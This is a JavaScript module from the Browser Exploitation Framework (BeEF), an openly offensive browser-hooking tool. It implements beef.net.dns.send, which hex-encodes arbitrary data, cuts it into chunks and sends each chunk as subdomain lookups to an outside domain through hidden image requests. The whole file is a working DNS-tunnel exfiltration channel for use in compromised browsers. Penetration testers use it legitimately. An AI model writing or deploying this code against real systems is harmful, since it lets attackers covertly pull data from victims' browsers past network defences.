//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56/**7*8* request object structure:9* + msgId: {Integer} Unique message ID for the request.10* + domain: {String} Remote domain to retrieve the data.11* + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED12* + callback: {Function} Callback function to receive the number of requests sent.13* @namespace beef.net.dns14*/1516beef.net.dns = {1718handler: "dns",19/**20*21* @param msgId22* @param data23* @param domain24* @param callback25*/26send: function(msgId, data, domain, callback) {2728var encode_data = function(str) {29var result="";30for(i=0;i<str.length;++i) {31result+=str.charCodeAt(i).toString(16).toUpperCase();32}33return result;34};3536var encodedData = encodeURI(encode_data(data));3738beef.debug(encodedData);39beef.debug("_encodedData_ length: " + encodedData.length);4041// limitations to DNS according to RFC 1035:42// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters43// o Domain names are limited to 255 characters in length (including dots)44// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)45// o Subdomains are limited to 63 characters in length (including the trailing dot)4647// DNS request structure:48// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN49//max_length: 3. 3 . 3 . 63 . x5051// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.52// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)53var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots54var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers55var max_data_segment_length = 63; // by RFC5657beef.debug("max_data_segment_length: " + max_data_segment_length);5859var dom = document.createElement('b');6061String.prototype.chunk = function(n) {62if (typeof n=='undefined') n=100;63return this.match(RegExp('.{1,'+n+'}','g'));64};6566var sendQuery = function(query) {67var img = new Image;68//img.src = "http://"+query;69img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content70img.onload = function() { dom.removeChild(this); }71img.onerror = function() { dom.removeChild(this); }72dom.appendChild(img);7374//experimental75//setTimeout(function(){dom.removeChild(img)},1000);76};7778var segments = encodedData.chunk(max_data_segment_length);7980var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request8182beef.debug(segments.length);8384for (var seq=1; seq<=segments.length; seq++) {85sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);86}8788// callback - returns the number of queries sent89if (!!callback) callback(segments.length);9091}9293};9495beef.regCmp('beef.net.dns');96979899